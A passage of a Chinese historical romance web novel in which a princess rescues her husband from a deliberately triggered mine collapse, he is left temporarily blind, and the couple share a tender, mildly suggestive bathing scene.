“诸位夫子远道而来,一路辛苦,不必多礼。”她目光扫过众人发红的面颊,侧身示意,“屋内已备好热茶点心,快请进。” 柳寄雪立在廊下,瞧见其中一位女师面色略有苍白,便跟了上去,“这位夫子可是有所不适?我先为您诊脉。” 汤嬷嬷忙介绍道:“这位便是柳神医。” 说话间众人已在屋内落座,听汤嬷嬷此言,惊讶的目光皆落在了柳寄雪身上,显然没想到出面为她们诊脉的会是以为女大夫。 “柳神医日后也会在书馆开设几节医理课,说来与诸位也算是同僚了。”封眠接着汤嬷嬷的话介绍道,“只是她平日要在医馆坐馆,夜里便也宿在医馆,不与诸位同住了。” 唐玉诗忙问道:“柳神医能坐馆看病?” 她说完才惊觉话中有歧义,忙解释道:“我的意思是,医馆竟允许柳神医坐馆吗?我幼时也曾向往学医,只是听闻医馆不收女子,后来便放弃了。” 柳寄雪一面挽袖搭脉,一面淡然道:“一开始也是不许的,但这家医馆是郡主的产业。” 她说着,唇畔现出一丝笑意:“郡主殿下钦点了我做女医馆,自然便无人敢置喙了。” 王媛青捧着温热的茶盏,抬眼看向主位上年岁尚轻却气度从容的郡主,忽然觉得这趟北疆之行,或许会比想象中更值得期待。 封眠正笑着打算接话,眼角余光却瞥见流萤匆匆穿过庭院,神色焦急的模样,她心头猛地一跳,面上却不动声色地起身,“忽然想起府中还有要事,今日便请诸位先好生休整,汤嬷嬷会领你们去看住处与书馆,失陪了。” 她说罢匆匆离去,几名女师见她走远,这才发出赞叹:“郡主殿下可真好啊。” 柳寄雪眼角微弯:“她自然是极好的。” 封眠领着流萤上了马车才开口问道:“可是世子有消息了?” 流萤脸色惨白:“轻衣来报的信,说是矿洞坍塌,世子殿下……” 封眠藏在袖中的手指一颤。 “世子殿下被埋在了矿洞之下……” 眼前猛地一黑,一阵晕眩袭来,封眠闭上了眼,指尖深深掐入掌心,借由那一点锐痛强撑着保持冷静。 第99章 理智告诉封眠,此刻绝不能流露出异样,不能让暗中窥伺的罗驰尔和陈家人发现百里浔舟的动向。她应装作无事发生的模样,从容如初。 但她脑中像被倒入了沸腾的岩浆一般静不下来,心口突突狂跳,一声急过一声地催促她赶到百里浔舟身边,迫切地想要亲眼确认他的安慰。 她猛地推开紧闭的窗,将额头抵在冰凉的窗棂上,任冰冷的风扑在脸上,一点点吹熄脑中翻腾的焦灼。直到面上冻得失去知觉,她 才用略带嘶哑的嗓音问:“小叔叔呢?他还好吗?” 流萤和雾柳自小陪在她身侧,虽名为主仆,但早已被她当做了重要的亲人。在两人因为封辞偃种种逾矩的言行而担忧时,封眠便私下将自己与封辞偃的关系悄悄告知了她们,这才免了一桩乌龙。自那之后,两人也是处处为叔侄俩遮掩,封眠行事都方便多了。 “事发时傅公子在矿洞外缘,及时脱身,只略受了些轻伤,眼下正在想办法营救世子殿下。”为免平时口误,流萤和雾柳私下仍以“傅公子”称呼封辞偃。 见封眠的神色略有缓和,雾柳柔声劝道:“郡主要当心身子,若世子殿下平安归来,却瞧见郡主病倒了,岂不更要心疼?” 她说着,试探着将手搭到窗框上,见封眠并未出声阻止,便忙将窗户合拢,隔绝了窗外的寒风。封眠的鼻头都已冻得通红,若再多吹一会儿风,只怕真要染上风寒。 回程的路上,封眠始终沉默地倚着车窗,视线空茫地落在某处,不知在想些什么。 马车行至王府,她下车时踉跄了一下,险些踩空。幸而流萤和雾柳就在马车两侧候着,及时扶住了她。 封眠稳了稳心神,朝府门走去,“母亲在府上吗?” “王妃今日外出访友,还未回府。” “好,此事先不要告诉母亲。”她尚且都还承受不住,王妃要是得了消息只怕天斗要塌了。 正说着,一名侍女上前禀报:“郡主,小侯爷已在院中等候多时。” 封眠收整情绪,踏入藏弓院的正厅内,便见褚景淇捧着一把小弓兴冲冲地迎上来,“小表妹,快看,弥荼也给我送了节礼……” 他上扬的语调在看清封眠神色时猛地坠了下去,“出什么事了?” 刚在面上勉强堆起笑意的封眠一怔,没想到褚景淇一眼便看破了她的伪装。 她犹豫地张了张口,想寻个借口遮掩过去,却见褚景淇已急匆匆将手上的小弓搁到了一旁的桌上,小跑着去将房门“哐当”一声合上,再跑回来拉着她在椅子上坐下,满脸担忧地望着她。 “我从未见过你这般失魂落魄的模样,是不是小百里出什么事了?”见她犹豫,褚景淇意识到什么,体贴补充道:“若是需要保密,你也不必告诉我发生了什么事,你只需告诉我要做什么,我来想办法!” 封眠鼻子一酸,泪意涌入了眼底,“九哥……” 她眨着濡湿的睫毛,挑拣着将矿洞崩塌、百里浔舟被埋的消息说了。 褚景淇也不问她为何要去调查矿洞,听见她说此事不能被罗驰尔和陈家人发现,但她实在放心不下,想要去现场看一看,便立即拍着胸脯道:“交给我吧,你在府上等着!” 他冲到门口又折返,郑重改口,“不对,你去王府前厅等着,等着我啊!” 望着他飞奔而去的背影,封眠坐在原地擦了擦泪珠。一番倾诉后,压在心口的巨石似乎轻了几分,只是不知道褚景淇打算如何帮她? 片刻后,封眠坐在前厅托腮发呆,一阵鬼哭狼嚎从外头的街上传来,惊天动地,由远及近,疾风一般冲进了王府。 “求你了小表妹,就陪我走一趟吧!” 整条街的人都听到了褚景淇的哀嚎,探头探脑,窃窃私语。 “什么情况?小侯爷这是咋了?怎的哭成这副模样?” “听着好像是为情所困,思念成疾,想去一趟苍狼部见心上人,但秦王妃不许他去,他便来求咱们郡主殿下作陪了。” “啧,一个大男人,就为此事哭哭啼啼的?” “嗐,这位小侯爷的性子,你又不是不知道……” 众人眼见着封眠被褚景淇半推半请地扶上马车,纷纷摇头感叹,“咱们郡主到底是心软,禁不住小侯爷哭求啊。” “毕竟也是血脉相连的兄长,能帮则帮呗。之前互市的时候我去凑热闹了,我瞧着那位苍狼部圣女对小侯爷没个好脸色,倒是跟咱们郡主挺好的,我估摸着小侯爷这是怕去了苍狼部见不着圣女,才特意来求的!” “小侯爷这可真是……为了追求姑娘什么都豁得出去……” “那咱们是不是要跟苍狼部联姻了?” “……” 百姓们的议论声转瞬便传遍了整条长街。 街角茶楼二层,屋檐投落的阴影中,一人负手而立,遥遥注视着封明和褚景淇乘坐的马车驶远。 一名侍卫悄无声息地来到他身后,低声请示:“大人,可要派人跟上去瞧瞧?” 罗驰尔神色不明,慢吞吞地收回视线,“不必,盯着郡主殿下可不是我的活儿。” 他拂袖在身后的茶桌上坐下,“顾春温那边如何?” “跟往常一样,没什么异样的地方,也没与郡主见过面。只是自上回与大人用过膳后,陆指挥使瞧他便不大顺眼。” 罗驰尔轻嗤一声,眼底尽是对陆指挥使的讥诮:“哼,蠢货。” 另一边,马车驶离云中郡城门后,褚景淇立刻收了声,一手捂着自己用力过猛的脖子,一手指了指茶杯,哑着嗓子道:“水,快,快给我倒杯水。” 封眠将温热的茶盏递过去,他猛猛牛饮了几杯才缓过劲儿来。 “这下好了,他们指定以为你陪我去了苍狼部。”他清了清沙哑的嗓子,“小表妹你想去哪里便吩咐车夫就是了。” 他说罢又十分善解人意地补充一句:“若有不便,我就在附近等你。” “无妨,一同去吧。”封眠从马车里翻出几件厚重的玄色斗篷,“只是为掩人耳目,需要做些乔装。” 有轻衣引路,一行人轻装简从,终于赶在第二日黄昏时分抵达了矿山。 大雪初霁,晚霞的余晖笼罩在崩塌的矿脉上,留下一片惨淡血色。斗篷遮身的封眠等人深一脚浅一脚地爬上山,循着丁零当啷的细微声响来到被彻底掩埋的矿脉处。 积雪将大片的狼藉掩盖,空气中仍残余着钝钝的血腥火药气味。 碎石满地的矿洞四周,伪装成普通工人的侍从正在以刀鞘、以铁锹,甚至以双手,疯狂地清理着掩埋矿脉的乱石,四处探寻活人的踪迹。 封眠的心抖得愈发厉害,冰冷的空气一路凉入肺腑,脚步沉重地迟迟迈不开。 “傅公子。”轻衣上前唤了一声。 一道高挑的身影起身看过来,一眼便认出裹在斗篷中的封眠,瞳孔一缩,大踏步上前,语声急促:“你怎么过来了?” 封辞偃说着,不赞同地看向轻衣,显然有些责备他。 “是我非要来的。”封眠急忙出声,目光一错不错地将封辞偃从头到脚扫视一遍。 树上挂着的火把照出封辞偃满身的狼藉,他面上染了大片灰黑,眼底青黑,神色疲惫,显然许久未休息好,但看起来行动无恙。封眠先是松了口气,随即抓住他手臂,屏息问道:“阿琢呢?” “……还没找到。” 本就因爬山而酸软的双腿顿时失了力气,封眠脚下一个踉跄,险些跪倒。 封辞偃急忙扶住她,涩声宽慰:“还有时间,只要在两日内找到他,就还有得救。” 封眠胡乱地点点头,抬手抹去颊边泪痕。她环视四周,看清施救的人数,皱了皱眉:“就这么几个人?自家矿都塌了,陈家竟没有派人来救?” “整条矿脉火药味极浓,这两日我还在附近发现了人为引燃的痕迹。”封辞偃眼底燃着怒火,“陈家显然已经放弃了这条矿脉,和这些矿工的性命。” 封眠一顿,眼底划过思忖之色,“看来他们已经有所察觉,想要毁灭证据……” 封眠立即有了决断,“那我们也不必藏了。轻衣,你立刻去附近调兵来,就以矿难救援为由,能调多少调多少。” 轻衣领命离去。 这时矿洞里抬出一名痛呼不断的矿工,伤处血流不止,褚景淇见状连忙挺身而立:“车上还有很多伤药,我去搬来!” 说着他拉上墨松,又深一脚浅一脚地往停着马车的方向跑。 矿脉不远处的树下并排躺着几名被救出来的矿工,封眠忙上前查看他们的情况。此行没带医师,她与流萤、雾柳便承担起了包扎伤口的任务, 夜色渐浓,空气愈发冷凝,封眠的十指都冻僵了,却不愿意去休息。她一面注意着受伤矿工的情况,一面不住往洞口看去。 矿洞中已经许久没有人被救出来了。 “这里有声音!” 矿脉另一侧内有人惊呼出声,众人听见一处石堆下传来微弱的敲击声。 封辞偃立即上前,与几名侍卫合力撬动巨石。 一名几乎冻僵的矿工被拖了出来,紧接着是第二个,第三个……却始终不见那道最熟悉的身影。 封眠的心一点点沉下去,指甲深深掐进掌心。 就在她即将被绝 望吞噬之际,一只沾满泥污却骨节分明的手,猛地从最深处的石缝中伸出,紧紧扣住了正在施救的侍卫的手腕。 “阿琢!” 封眠只一眼便认出了那双手,她猛地扑到石堆前,颤抖着双手帮忙挪开碎石,手上被划出道道血痕也全无所觉。 在挪出可供一人通过的洞口时,她终于自跃动的火光之间,看见了紧闭双目的熟悉的脸。 那张脸上满是灰土与血痕,因在黑暗中待久了,尚还闭着眼睛,以免被乍见的光明灼伤双眼。 他听见了封眠的声音,向着她的方向侧了侧脸。 雪花又开始飘落,轻轻覆在他染血的眉睫上。他苍白的唇动了动。 没有发出声音。 但封眠看得分明。 他说:“别怕。” 第100章 在幽闭无边的黑暗中待久了,便如同溺水一般,会渐渐有窒息的感觉涌上来。 身上的伤带来的痛楚也逐渐麻痹,耳边除了自己的呼吸声再也没有其他声响,失血过多带来的虚弱和一点点降低的体温,会让困意一重重叠加。 在这种不知时日的绝境中,意志会悄无声息地瓦解,变得极其薄弱。每当眼皮上下打架时,便忍不住生出一种只要睡过去便可以了结一切的错觉。 百里浔舟用残存的力气咬破舌尖,腥甜的血味刺激着混沌的神经,维持着最后的一丝清醒,不敢让自己真正地睡过去。以前他从未畏惧过死亡,昔日被困绝境、利刃穿胸、坠落悬崖时,他都坦然视之,只想着若能以此命多搏几日百姓安乐便也算值得。 可此刻,他前所未有地恐惧会葬身在这幽暗的矿道深处。临行前他郑重许诺,让封眠等他回来,若他回不去了,她会哭成什么样子?她会不会怨他不守诺言? 只是想象一瞬间她会有的反应,他便觉得心疼得受不住。即便此刻身陷地狱业火,他也要爬回她身边。 不知过了多久,他听到远处传来叮当敲击声,夹杂着杂沓的脚步声和模糊的絮语。 他拼尽力气抓住了近处的一只手,然后便听见了她的声音。 “阿琢,阿琢?阿琢……” 声音越来越近,一声比一声清晰,凿开了笼罩在他周身有如实质的迷雾。 百里浔舟猛地睁开眼,却只感受到掌心传来的温热触感。他艰难地转动脖颈,试图捕捉光影。 “阿琢!你终于醒了!”封眠探身,急切地俯身靠近,发梢垂落在他颊边,“你感觉怎么样?有哪里不舒服吗?” “我没事。”百里浔舟勾了勾唇角,与封眠交握的手用力握着,感受着她手心的温度,以此来确认自己已然平安回到了地面,他眨了眨眼,有些困惑,“什么时辰了?夜里怎么不点灯?” 封眠喜悦翘起的唇角倏地僵住,一颗心咚地坠到胃里,她环视满屋通明的烛火,张了张唇,声音隐含着一丝颤抖,“太暗了吗?” “我都看不见你。”他抬手摸索,小心翼翼地捧住封眠的脸,凑近了些,几乎触到她的鼻尖,一双眼空茫地落在她的脸上,努力地想要看清她,语气带着一股委屈,“也太黑了吧。” 手心蓦地一湿,滴温热的泪落在他掌心。 百里浔舟指尖轻颤,忽然明白了什么。 “我的眼睛……” “我这就叫阿雪进来看看!”封眠紧紧握住他的手,声音里带着强撑的镇定,“没事的,定会没事的。” 烛火在床案上摇曳生辉,映出百里浔舟平静的眉眼,他倚靠在床头,眼睫微微低垂,若非眸中失去往日锐利的神采,看起来几乎与平时无异。 封眠紧攥着衣袖立在床侧,目光落在柳寄雪诊脉的指尖,连呼吸都放得极轻。 “不必太过忧心。”柳寄雪收回手,先出言宽慰,“应是脑后淤血未散,暂时导致双目失明,待淤血化开便好了。” 封眠这才长长地舒了口气,她坐到床边重新握住百里浔舟的手,“那要多久才能恢复?” “我会辅以汤药针灸,尽力助瘀血早散。但具体时日……”柳寄雪歉然地摇摇头,“实在难以保证。” “如此已经很好了。”百里浔舟安抚地拍了拍封眠的手背,听声辩出柳寄雪的方向,向她微微颔首道谢,“多谢你,有希望总比……” “小百里!妹夫!” 一声凄厉的哀嚎打断了百里浔舟的话音,将屋内三人都吓了一跳。褚景淇风风火火地狂奔而来,扑到床前,语无伦次:“怎么回事啊?真的看不见了?你说你……出一趟门把自己弄得这版狼狈!” 他在矿山时便在帮忙将其他受伤的矿工送回来安顿,直到方才彻底歇下来,才想起来问一问百里浔舟的情况。本来他见封眠神色无异,以为并无大碍,谁知这一问便听见流萤说百里浔舟眼盲的消息,吓得魂飞魄散。 “没事啊,就算你往后都看不见了,小表妹也不会……”他猛地收声,凑到封眠耳边压低嗓音,“你不会嫌弃妹夫吧?” 百里浔舟:“……我听得见。” “我当然不会嫌弃他。”封眠拍开褚景淇的脑袋,“况且阿琢的眼睛能治好,你别嚷得这么吓人。” “那就好那就好,可真是吓死我了。”褚景淇拍拍心口,仍挤在床边与两人说着话,“对了,救下来的那些矿工说,出事那天下矿的共有六十八人。我与傅公子清点过了,都已经找到了,三十八人轻伤,二十人重伤,剩下的十个……发现时就已经被炸得面目模糊了。” “他们都不知道矿脉的主人是谁,只认识工头,那工头就是死掉的十人中的一个。也不知是哪家干这种私自开矿的……”他说到一半,领悟过来,“哦你们俩说不定知道是哪家的,没事,不用告诉我,我不用知道那么多。” “你们最好是能快些把人揪出来绳之以法,那些个工人受的伤可真是不轻,必须得把那丧良心的矿主抓出来狠狠地罚!” 柳寄雪见褚景淇挤在床边喋喋不休,说了两句正事又开始絮叨闲话,终于忍不住上前拍了拍他的肩,“小侯爷,咱们该走了吧。” “哦我没什么事,你先走吧,我还没说完呢,我们这一路回来啊……” “回头再说,伤患们可离不开小侯爷的倾心照料啊。”柳寄雪皮笑肉不笑地上手扣住了褚景淇的肩膀,将他从封眠和百里浔舟中间拉开。 褚景淇踉跄着被她拉开两步,还想挣扎,就听耳边一句:“这种时候,就别杵在夫妻俩中间碍眼了。” 褚景淇一点就通,方才光顾着百里浔舟的眼伤和矿上的后续,竟没注意到自己正明晃晃地挤在两人中间,他忙转过身,跑得比柳寄雪还快。 房门被带上,屋内彻底安静下来。 百里浔舟捏捏封眠的手,轻声问:“我们回王府了?” “嗯,那座矿山附近荒得很,什么也没有。你当时状态很不好,还是回来比较安心。”见百里浔舟眉峰轻轻一蹙,封眠便知他要问什么,“母亲那边自然是瞒不住的,白日里来看了你好几趟,入夜才刚回去休息。” “我与父亲都总是让她忧心。”百里浔舟轻轻一叹,有些歉然地“看”向封眠,“对不起,也让你跟着担心了。” 封眠故作不满地哼哼两声,“现在说什么都晚了,你都这么惨了,我还能与你生气不成?” 肩头微微一重,百里浔舟贴了过来,温热的气息拂过她耳畔:“方才你在九哥面前说了,不会嫌弃我的,说话要算话。” “那你还说了让我等你回来,最后可是我去把你找回来的。”封眠挑眉,一句话便将百里浔舟说得沉默了。 他开始生硬地转移话题,“我在山洞里埋了那么久,浑身都是尘灰……我想沐浴。” 见他如此可怜兮兮,封眠决定放他一马,准备起身,“那我去喊山衣过来。” 手却被牢牢握住,“山衣笨手笨脚的,我不放心他。” 封眠失笑:“你身上的寝衣就是山衣给你换的。” “那我不管。”看不见封眠的神色,百里浔舟反倒心安理得地耍起了赖皮,指尖紧紧握着,一副绝不松手的模样。 “这样啊……”封眠知道百里浔舟的意思,偏要兜来绕去地逗他,故意拖长了语调,“那我去问问看,有没有哪几个伶俐的小厮,愿意伺候世子爷沐浴?” 百里浔舟没法子,终于放弃迂回,直白道:“我想你陪着我。” “你知道的,我现下什么都看不见了,旁人在侧,我总是不安心。”才没过多久,百里浔舟便已会用自己当下眼盲一事来讨她心软了。 封眠拼尽全力,也无法对着面前垂着眼睛,无措地眨着长睫的人说出一个“不”字。 “好,你坐一下,我去命人备热水。” 待热水备好后,封眠与百里浔舟十指交握,扶着他起身往浴间走。 百里浔舟全然信赖着引路的封眠,迈出的步子轻松且毫不犹疑。若是不去看他的眼睛,和他身侧另一只下意识抬起来探路的手,根本看不出他此刻双目无法视物。 浴间在封眠嫁入王府前夕,便被王妃命人修了一座浴池。往日百里浔舟独自一人住时,每日都是用浴桶沐浴。他还与封眠玩笑,说自己在府上的吃穿用度等待遇,因着她的到来,全都提升了不少。 封眠扶着百里浔舟在浴池边站定,便松开手准备为他宽衣,手刚松开一瞬,便被百里浔舟追着握住,动作急切。 “你去哪儿?” “我哪儿也不去。”封眠无奈地晃晃手,“你牵着我的手,我没法给你脱衣裳呀。你要穿着衣裳沐浴吗?” 百里浔舟犹豫片刻,手指顺着她的腕骨摸下去,挪到她的衣袖上,紧紧攥住,“这样行吗?” 即便他语气克制,神色平静,但动作已经流露出了他心底潜藏的不安。 封眠心下一软,向前轻轻迈了一步,拉近两人之间的距离,双臂环在他的腰身,替他解开腰间系带。 “行,你想怎样都行。” 烛影微晃,在素绢屏风上晕开一团暖黄的光晕。两道相依的身影被悄然拓印其上,微微摇曳。 同一片夜色下,陈府的书房内响起争执声。 “二哥,好端端的矿洞,说炸就炸了?也太可惜了!” “上边的人说了这矿洞不能留。放心吧,东西都运走了,日后这座矿也用不着了。” “可我听说这次爆炸还误伤了在附近缉拿盗匪的世子殿下,这么大的动静,也太引人注意了,万一……” “没有证据,谁也不能笃定这座矿与我们陈家有关。你将心放回肚子里,嘴巴也给我闭上。” “那之后……” “什么也别做,等消息。” 灯烛灭了下去,窗上一胖一瘦两道身影也彻底隐入黑暗—— 作者有话说:沐浴还没写完,明天继续[摸头] 100-110 第101章 水汽氤氲,池边静静躺着几件雪白的寝衣。 水面轻轻漾起波纹,百里浔舟刚要入水,便被封眠一把又拽了回来。沾了水的脚下湿滑无比,险些打滑摔倒。他忙牢牢拥住了身侧的封眠,免去了一场人仰马翻的危机,悄悄吐了口气。 “怎么了?” “险些忘了,你身上也有伤,不能泡水吧?”封眠微微侧目,因被他双臂环抱着,视野有限,只看见了瘦削漂亮的锁骨和肩颈线条,上面只有几道细小的擦伤。 她回忆了一下百里浔舟昏迷时给他上药的位置,抬起手在他后腰处虚虚摩挲了一下,“你后腰这里,侧腹的位置,还有腿弯处……” 都有大面积的划伤。 她话没说完,因为感觉身侧的人似乎在微微发抖。 当眼睛失去视物的能力,人的其他感官就会变得格外敏锐。封眠怕碰到百里浔舟的伤口,手指并未落在他的皮肤上,生怕一不小心便压到他的伤口。但百里浔舟还是能感觉到她指尖的热意,虚虚地悬在皮肤上,比真切的触摸还要让人心底发痒。 百里浔舟终是没忍住,反手握住了在后腰磨来蹭去的那只手,微微哑声道:“无妨,也不会泡很久。擦净后再上药就是了。” 受伤于百里浔舟算得上是家常便饭,仗着年轻身体底子好,他从不会因担心伤口沾水就不沐浴。 “好吧,那我们今日动作快些。”封眠妥协,扶着百里浔舟的一条手臂,看顾着他缓缓步入浴池。 水面荡起波纹,逐渐吞没布满伤痕的清俊身躯。 清凌凌的水声中,封眠听见他发出一声轻嘶。 “怎么了?”封眠忙半跪在池边,倾身去看他的情况。 热雾腾了起来,熏在百里浔舟的脸上,隔着一层薄薄的水雾,封眠看见他轻轻蹙起眉峰,受了天大委屈的模样。 “水好烫啊,伤口有点疼。新伤、旧伤,都又酸又疼……”连声音都变得黏糊了两份。 封眠忙用空着的那只手试了下水温,温度适宜,并不如何烫。“是不是伤口受不住这么泡着?不然还是先出来?” “我忍一忍吧,兴许泡一会儿就习惯了。”他牢牢握着封眠的手,拨开水蹭到她面前,仰起头,有些羞赧地抿了抿唇,唇角却已经因自己一会儿想要说的话而翘了起来,“你亲一亲我,应当会好些。” 他只耐着性子铺垫了两句,便忍不住直入主题。 封眠微微垂眼,视线落在他的唇上。 昏迷不醒时,那双唇是毫无血色的惨白,摸上去也是冰冷的,让她在夜里常常惊醒,总是要凑上去摸一摸他的鼻息,才能重新放下心来。 现在双唇被热气蒸着,多了几分血色,仿佛有着充沛的生命力。 抓着她的手催促似的用指尖挠了挠她的掌心,泡在水池里的人保持着仰首的姿态,即便双眼看不见,还是闭上了眼睛,全然一副索吻的姿态。 封眠的膝盖跪在水池边,一只手被他扣在掌心,另一只手便搭在他光裸的肩头,缓缓俯身,快速地在他唇上印下一个吻。 “好了。”她撑身离开,压着他肩头的手用力,不许他追上来,“转过去,我帮你沐发。” 百里浔舟脸上流露出肉眼可见的失落,不大乐意地侧了侧身。 封眠晃了晃两人交握的手,“松一下?” 百里浔舟:“一只手也可以沐发。” 他说完,想到什么,把自己空着的那只手低了过来,“借你用。” “……”封眠被他气笑了,将他的手拍下去,勉强用一只手将他的发顶打湿,回身将放有澡豆的篮子勾了过来,又吩咐他,“将手举好。” 百里浔舟忙乖乖将刚被打落的手举了起来,一粒澡豆落进他掌心,相较他的手掌要小上一大圈的手覆上来,轻拢慢磨,渐渐有草木的清气漫了出来。 五指轻柔地落在发丝间揉搓,自上到下,细致无虞。 “水要流进眼睛里了。”他突然闭着眼转向封眠,眉心轻轻蹙着,似乎想抬手揉一揉,因手上托着澡豆,没敢动作。 水珠顺着额头滑落,有几滴滑向眼睛,有几滴顺着鼻梁,已经淹没了小巧的痣 ,本是有几分锐利的俊俏面容,此刻被水雾蒸腾着,硬生生添了几分魅惑。 封眠手上也蹭着澡豆的泡沫,她来不及多想,俯身便吻了上去,轻轻啄吻掉他面上的水珠。 噗通,澡豆落水的声音响起。 一只手揽上了封眠的腰,一直牢牢牵着封眠的另一只手也倏地松开,压到封眠的脖颈后,百里浔舟仰首便将一个吻送了上去,因目不视物,湿润的唇贴到了她的下巴上,缓缓摩挲着移到她的唇边。 两张唇都被水雾浸染得潮湿温热,软得像化开的云。 又是普通一声,水花四溅,封眠被他微一用力,囫囵个拖入了水池中。 封眠尚未来得及发出一声惊呼,便被抵到池边,本应撞上坚硬池边的后背贴到柔软的掌心。百里浔舟跟着凑了上来,湿漉漉毛绒绒的脑袋蹭在她肩侧拱了拱,近乎叹息着呢喃:“好想你啊……” “好些时日没见你,好不容易见得你了,却又看不见你了。” 封眠抬起的手顿了顿,轻轻落在他后脑拍了拍,“会好起来的,等你眼睛好了,我日日都在你面前,让你看到腻。” 百里浔舟轻笑一声,呼出的热气洒在封眠的颈侧,痒痒的。 他语气近乎缱绻道:“说来也算幸运,我伤了脑袋,只是失明,而不是失忆,忘记了你……” “若是一睁眼看得见你,却不记得你了,我要这眼睛也没多大用处。” 封眠双目一眯,“你是不是偷看了什么话本子,都在胡思乱想什么?” “我告诉你一个秘密,你不要告诉母亲。”百里浔舟抬起湿漉漉的脑袋,贴到封眠耳侧与她说悄悄话,“父亲的书房里藏了许多香艳的话本子,幼时他吓唬我说那些都是禁书,会把眼睛看瞎,脑袋看坏……” “你是不是偷偷去看了?”封眠揪揪他的耳朵。 “其实我对他那些书根本不感兴趣,什么缠绵恩爱,哪有习武来得有意思?不过……”百里浔舟与封眠碰了碰头,“那日与你剖明心意后,我担心日后相处万一惹你不快要如何是好?便去书房悄悄将书偷了出来。” “我说嘛,你后来……”封眠不知想到什么,红了脸,“看来你是真读进去了?” “嗯,获益颇丰。”百里浔舟笑着抬手,摸索着碰了碰封眠的脸颊,湿漉漉的掌心贴在她的侧颊,修长的指描摹着她的五官,亲昵又轻柔。 “你的脸好烫,是不是脸红了?算了,不用回答我,反正我现在看不见,你便是说没有,我也无从确认。” “你知道吗,困在矿脉底下的时候,我想起了许多……”他顿了顿,语气略略低沉下去,“许多死在我刀下的人。他们的五官模糊不清,拖着血淋淋的身体涌上来,从四面八方伸出手,咒骂,抓咬,好像要将我拖入与他们同在的深渊中……” “我一直都知道,我造下的杀孽太多,早晚有一天会被反噬……” “你是为了百姓。”封眠急急打断,抬手覆上他的手背,试图将掌心的温度尽数传给他,“你拯救过的性命远重于一切……” “你看,我就知道你会来救我的。”百里浔舟哼出一声笑来,“当时我就在心里念着你的名字,然后你就出现,把他们都赶跑了。” 蒸腾的热雾渗入他空茫的眼底,乌黑的瞳孔如水洗一般,看起来可怜可爱。 他紧紧地,紧紧地拥封眠入怀,“我真幸运啊,是不是?” 饱含着情意的炽热的吻杂乱无章地落下,带来微微的痒,最后牢牢地印在封眠的唇上。 封眠晕乎乎地回抱,感觉自己定是被热气熏晕了,才会这样纵着他胡闹。她的掌心摸到他的皮肤上凹凸起伏的疤痕,动作一瞬轻柔得怕摸痛了他,一触即离。 罢了罢了,他双目失明,本就心下不安,想做什么都随他去吧…… 破碎的思绪在深吻中连不成段,只能一任沉沦。 两人打湿的乌黑长发在水中交缠,密如海藻一般。 空气稠得如同流淌的蜜,清凌凌的水声遮掩住了起落旖旎的喘息。 侯在侧间的流萤打了个哈欠,“都一个多时辰了,郡主和世子怎的还没出来?药都凉透了,一会儿可得重新熬。” “你去问问?”雾柳剥了粒果子吃。 “我不去,若是打扰到什么……”流萤面上一红,愁眉苦脸,“世子还不得记恨上我?” “好像出来了。”雾柳耳朵一动,隐约听见郡主似是在喊她的名字。她忙推门出去,应了一声,“郡主?” 屋内传来封眠的吩咐:“帮我去请阿雪来一趟。” 雾柳与身后跟出来的流萤面面相觑。 一炷香后,柳寄雪端坐桌旁,目光从上到下将头发还湿着的百里浔舟打量了一圈,又如法炮制地去瞧封眠,目光里满满的不赞同。 百里浔舟看不见柳寄雪的神色,泰然自若得很,唇畔还挂着笑问:“怎么样?应当没事吧?我没什么感觉,沐浴过后,反倒觉得神清气爽多了。” 你那是因为沐浴吗?柳寄雪忍住了白他一眼的冲动,不能将白眼抛给瞎子看,等他复明了再说。 “你当然没感觉了。”柳寄雪克制着语气,以医者的冷静道,“伤口边缘都泡肿了,你怕是早就麻木了。” “沐浴可以,下次还请节制些。便是寻常人泡了那么久的热水浴,皮肤也都要皱起来了。”最后还是没忍住,瞪了一眼百里浔舟。 封眠默默侧过头,恨不能找个地缝钻进去,顶着满脸红晕强装镇定。 第102章 呼,终于睡着了。 听着耳边平稳的呼吸声,封眠悄悄睁开眼,借着床幔外夜灯透进来的一点微弱的光,静静凝视片刻百里浔舟的睡颜。 目光从他光洁的额角划到纤长的睫毛,再勾勒过挺直的鼻梁和微薄的唇,最后又落回他紧闭的双眼之上。 一想到眼皮下那双漂亮的眸子变得空茫一片,没有光泽,她就觉得心口闷得睡不着,只是不想让他再多一重忧心,才一直直挺挺地躺着,假装自己早已经睡着了。 她坐起来,小心地将自己的手从百里浔舟的手心中抽出来,再轻手轻脚地起身,撑着床板,从百里浔舟的身上翻过去。 坐在床沿准备下床时,她先闭上了眼,想要感受一下目不视物时是什么感觉,发现自己在第一步就卡住了。 她找不到鞋在哪里。 脚在摆着睡鞋的脚踏上左右踩来踩去,踩到了四只鞋。可她也记不得睡前将睡鞋脱在了左侧还是右侧,便只能耐着性子用脚比划了下大小,全凭感受穿上了自己的睡鞋。 待到要起身时,她双手撑着榻边站起来,但下一瞬就觉得晕乎乎地想要一头栽倒下去。眼睛看不见,手上又没有东西支撑着,心在这一瞬间飘得落不到实处,她连一步都迈不出去。 难怪百里浔舟说什么都不肯松开她的手,四下皆是未知黑暗时,手中有个东西握着,才能安下心来。 封眠抬手在四周摸了摸,指尖终于摸到了床柱,便立时如同摸到了救命稻草般蹭了过去,抱着柱子小心翼翼地走下脚踏。她用一手勾着床柱,另一手在半空中摸来摸去, 想寻个支撑物,帮着她再往外挪几步,结果半天什么也没摸着。 不应当啊,她依稀能记起屋内的陈设,大约就在床柱外一步多的距离,应该有一个花架的,怎么摸不着呢? 封眠悄悄睁开一只眼,发现花架在距她的手掌还有半掌的距离之外,难怪她摸不到。心下有了目标,她又闭上眼睛向前一够,成功摸到花架挪了过去。然后便站在原地顿住了,有些丧气地轻叹。 她靠睁眼作弊才顺利走到了花架旁,若是没有人时刻跟在百里浔舟身侧指引,他日常要如何行走坐卧? 她自然是愿意时刻陪在他身侧,充当他的眼,若有空档,山衣自然也可以补上,但人生最不少的便是意外的时刻,总要做些完全的准备。 况且一日两日地靠着旁人帮忙指引,还尚且能忍受,若是眼睛复明的时间拖得长一些,一月两月的拖下去,对百里浔舟这样骄傲的人来说,难免会感到郁结。 她抱膝在原地蹲下,眉目笼着愁云,目光在屋内扫来扫去,得想个法子,起码让他在家中能活动自如。 翌日天光斜照,院内响起窸窸窣窣的洒扫声。 垂落的床幔内,百里浔舟猝然睁眼,目之所及依然是一片黑暗。他缓了两息,才反应过来自己此刻仍然不能视物,心下转过一瞬的失望,便闷闷地坐起身,先摸了摸身侧,然后便被抓住了手。 “睡得好香啊世子殿下,我都要疑心是不是有人在你的水里下迷药了。”封眠的调侃声在他耳畔响起。 